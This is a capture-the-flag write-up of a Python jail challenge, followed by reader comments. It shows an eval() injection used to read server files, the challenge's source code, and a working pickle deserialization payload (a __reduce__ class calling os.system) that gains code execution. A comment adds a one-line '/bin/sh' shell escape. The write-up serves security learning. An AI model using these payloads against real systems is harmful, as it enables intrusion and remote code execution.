#Meepwn CTF Team
Challenge:
nc ch41l3ng3s.codegate.kr 2014
Solved by:
@tinduong & @tsug0d
Writeup:
Another pyjail challenge, its interesting, we nc to the server, the challenge begin:
Fuzzing around, we got the bug in the days section:
Our input will be passed to eval() in python, what can we do with this? We stuck for short time, then we decide to gather information in error section
dig() takes exactly 1 argument (2 given)
? Hmm, Because it is dig(), not dig(‘abc’). So why wont we open it again, and take the content as error message?
lol, cool, we can read ‘/etc/passwd’ from the server, ez, now read the flag…oh wait…. but where is the flag O_O. We lost…
Nah, Why won’t we read the source code? just replace /etc/passwd to Impel_Down.py
Hmm, filtered… We stuck! we need to find someway.
your is interesting, we have to see what inside it.
IOError: [Errno 2] No such file or directory: "['__doc__', '__init__', '__module__', 'bomb', 'bomb_Perfection', 'coworker', 'coworkers', 'day', 'dig', 'dig_depth', 'name', 'tool', 'tools']"
Hmm, name, is it The name that we input :O, Eureka
Name is not filtered, so we easily obtain the source code:
#!/usr/bin/python -u import sys import signal import pickle from random import choice, shuffle coworkers_list = [\'James\', \'Nami\', \'Luffy\', \'Zoro\', \'Tony\', \'Robin\', \'Franky\', \'Brook\', \'Ace\', \'Jinbe\', \'Crocodile\'] tools_list = [\'drill\', \'Knife\', \'gun\', \'spoon\', \'book\', \'lighter\'] works_list = { \'bomb\' : "make boooooooomb!!!", \'coworker\' : \'Find Coworker For Escape\', \'tool\' : "Find Any Tool", \'dig\' : "Go Deep~", } def menu(): print "################## Work List ##################" for cmd, desc in works_list.iteritems(): print " %-15s : %s" %(cmd, desc) print "###############################################" class Esacpe_Player: def __init__(self, name, day): self.name = name self.dig_depth = 0 self.bomb_Perfection = 0 self.tools = [] self.coworkers = [] self.day = day def dig(self): self.dig_depth += 1 # never ending digging...... print " %s : [Dig] depth = %d" %(self.name, self.dig_depth) return pickle.dumps(self) def bomb(self): self.bomb_Perfection += 1 # your bomb is too powerful. so boom with u...... print " %s : [Bomb] bomb Perfection = %d" %(self.name, self.bomb_Perfection) return pickle.dumps(self) def tool(self): tt = choice(tools_list) print " %s : [Tool] Find : %s !" %(self.name, tt) self.tools.append(tt) return pickle.dumps(self) def coworker(self): shuffle(coworkers_list) cw = coworkers_list.pop() print " %s : [Coworker] Find : %s !" %(self.name, cw) self.coworkers.append(cw) return pickle.dumps(self) class Watcher: def __init__(self): self.name = "Magellan" self.dig_risk = 3 self.bomb_risk = 10 self.tool_risk = 5 self.coworker_risk = 5 self.arrest_min_point = 25 def Behavior_analysis(self, Player): player_info = pickle.loads(Player) risk_point = (player_info.dig_depth*self.dig_risk) + (player_info.bomb_Perfection*self.bomb_risk) + (len(player_info.tools)*self.tool_risk) + (len(player_info.coworkers)*self.coworker_risk) if risk_point >= self.arrest_min_point: sys.stderr.write("you("+ player_info.name +") looks like dangerous !!!\ ") self.Arrest() def Arrest(self): sys.stderr.write("you Arrest Again....\ ") exit() def handler(signum, frame): sys.stderr.write("Time Out....\ ") exit() signal.signal(signal.SIGALRM, handler) signal.alarm(10) print(""" __ PyJail /__\\ ____________| | |_|_|_|_|_|_| | |_|_|_|_|_|_|__| A@\\|_|_|_|_|_|/@@Aa aaA@@@@@@@@@@@@@@@@@@@aaaA A@@@@@@@@@@@@@@@@@@@@@@@@@@A ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ [!] Rule 1. After 3 day, the Light will be Turned Off then you Cannot see anything. 2. Cannot Use Some Special Characters in PyJail. 3. For 10 days, You can enter 38 characters per day. Can You Escape from Here ?? """) del signal del __builtins__.input ban_list = [\'#\', \'+\', \'-\', \'_\', \'"\'] name = raw_input(" Name : ") your = Esacpe_Player(name, 1) watcher = Watcher() # FLAG is /FLAG_FILE~blahblah (this is only executable.) while True: print "[day-%d] " %(your.day) if your.day == 4: # Turn off the light print "Turn off the Light !!" sys.stdout = open(\'/dev/null\', \'w\') menu() work = raw_input() invalid_cmd = 0 for cmd in works_list.keys(): if cmd in work: invalid_cmd = 1 if not invalid_cmd: print "Invalid Work !!" continue for ww in work: if ww in ban_list: print "Found unavailable Character !!" exit() if len(work) > 38: print "Too Long !!" continue result = eval("your."+work+"()") watcher.Behavior_analysis(result) your.day += 1 if your.day > 10: sys.stderr.write("10 days over...\ ") exit()
Looking around, we found some interesting points:
# FLAG is /FLAG_FILE~blahblah (this is only executable.)
well, not good.
import pickle?
RCE here.
But one more challenge here is, pickle data contain newline character, it will break python input so we cannot input it directly.
Luckily, our payload has enough length.
So the plan is:
1. construct the pickle payload in hexa and input in the Name
2. unhex it, using python pickle.loads in days and make it RCE!
first we generate hexa pickle which run
ls / > /tmp/dkm
via our code (run in linux, windows not work)
import cPickle import subprocess import base64 import urllib import os class RunBinSh(object): def __reduce__(self): return (os.system, ('ls / > /tmp/dkm',)) print cPickle.dumps(RunBinSh()).encode('hex')
then we input it as name, and input dig(pickle.loads(name.decode('hex')))
in days.
To confirm, we read it (remember that we can read file on server above).
oops XD, flag path….
so all we have to do is editing the
ls / > /tmp/dkm
to
/FLAG_FLAG_FLAG_LOLOLOLOLOLOL > /tmp/dkm
and view the file xD
G00000000d !! 🙂 \n I think you are familiar with Python !\n FLAG{Pyth0n J@il escape 1s always fun @nd exc1ting ! :)}
good work and such a nice /tmp/dkm :v
LikeLike
the suck here is, our way is too fucking long =)) the maybe intended solution is
lol
LikeLike
I think this is good enough to get shell lol.
dig & eval(sys.stdin.read(35))
__import__('os').system('/bin/sh')
LikeLike
yes, i read other writeup and realize this, but still want to introduce how “stupid” we are xD
LikeLike